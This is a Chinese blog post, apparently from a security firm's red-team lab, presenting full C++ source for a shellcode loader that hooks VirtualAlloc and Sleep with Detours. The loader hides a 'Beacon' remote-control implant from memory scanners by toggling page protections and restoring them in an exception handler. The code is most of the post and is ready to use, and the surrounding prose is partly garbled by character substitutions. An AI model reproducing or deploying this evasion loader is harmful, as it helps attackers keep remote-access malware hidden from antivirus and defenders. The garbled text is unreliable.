新闻动态

?+
+
windows基于hook的远控免杀
钩子(Hook),是Windows新闻处置机造的一个平台,利用法式能够在上面设置子程以监督指定窗口的某种新闻,并且所监督的窗口可所以其他过程所创建的。当新闻达到后,在指标窗口处置函数之前处置它。钩子机造允许利用法式截获处置window新闻或特定事务。其实就是扭转法式执行流程的一种技术的统称。




齐全代码
#include "pch.h"
#include
#include
#include
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
//分配内存地址和大幼
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大幼:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
//设置新的sleep地址
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep功夫:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //预防沉复HOOK
DetourTransactionBegin(); // 起头HOOK
DetourUpdateThread(GetCurrentThread());//列入一个在DetourTransaction过程中要进行update的线程,为了预防崩溃
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //屡次挪用DetourAttach,HOOK多个函数
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();//解除截获过程
DetourUpdateThread(GetCurrentThread());//列入一个在DetourTransaction过程中要进行update的线程,为了预防崩溃
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);//撤销对NewVirtualAlloc的hook
DetourTransactionCommit();//解除hook
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);//ftell共同fseek推算出文件大幼
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址切合:%llx\n", Exception_addr);
return true;
}
printf("地址不切合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常谬误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
//printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
printf("复原Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//设置Beacon_address地点内存区域设置为可执行模式
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);//检测hEvent事务的信号状态,INFINITE暗示函数将仅在对象收到信号时返回
printf("设置Beacon内存属性不成执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr地点内存区域设置为不成执行模式
ResetEvent(hEvent); //设置事务hEvent为无信号状态
}
return 0;
}
int main()
{
hEvent = CreateEvent(NULL, TRUE, false, NULL);//创建一个定名的或无名的事务对象
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//注册向量异常处置法式,并返回异常处置法式的句柄
Hook(); //起头hook
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);//创建线程,指向线程函数的地址Beacon_set_Memory_attributes
CloseHandle(hThread1);//关关线程
unsigned char* BinData = NULL;
size_t size = 0;
char* szFilePath = ".\\test.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);//申请内存空间,返回首地址
memcpy(shellcode_addr, BinData, size);//从存储区 BinData复造 size个字节到存储区 shellcode_addr
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr地点内存区域设置为可执行模式
(*(int(*)()) shellcode_addr)(); //执行shellcode
UnHook();//实现hook
return 0;
}
E·N·D
本文由mg不朽情缘创安攻防尝试室编纂。
本文仅限于幼我进建和技术钻研,由于传布、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者自己掌管,本单元不为此承担任何责任。创安攻防尝试室占有对此文章的批改和诠释权,如欲转载或传布此文章,必须保障此文章的齐全性,蕴含版权申明等全数内容。
如有侵权,请联系后盾。
●
创安攻防尝试室
创安攻防尝试室,是mg不朽情缘旗下的技术钻研团队,成立于2021年9月,重要钻研红蓝匹涤注沉大安全保险、应急响应等方向。
创安攻防尝试室圆满实现了屡次公安进行的沉要网络安全保险和攻防演习活动,并积极参与各类网络安全较量,屡获殊荣。
创安攻防尝试室秉承mg不朽情缘的发展理想,致力打造国内一流网络安全团队。
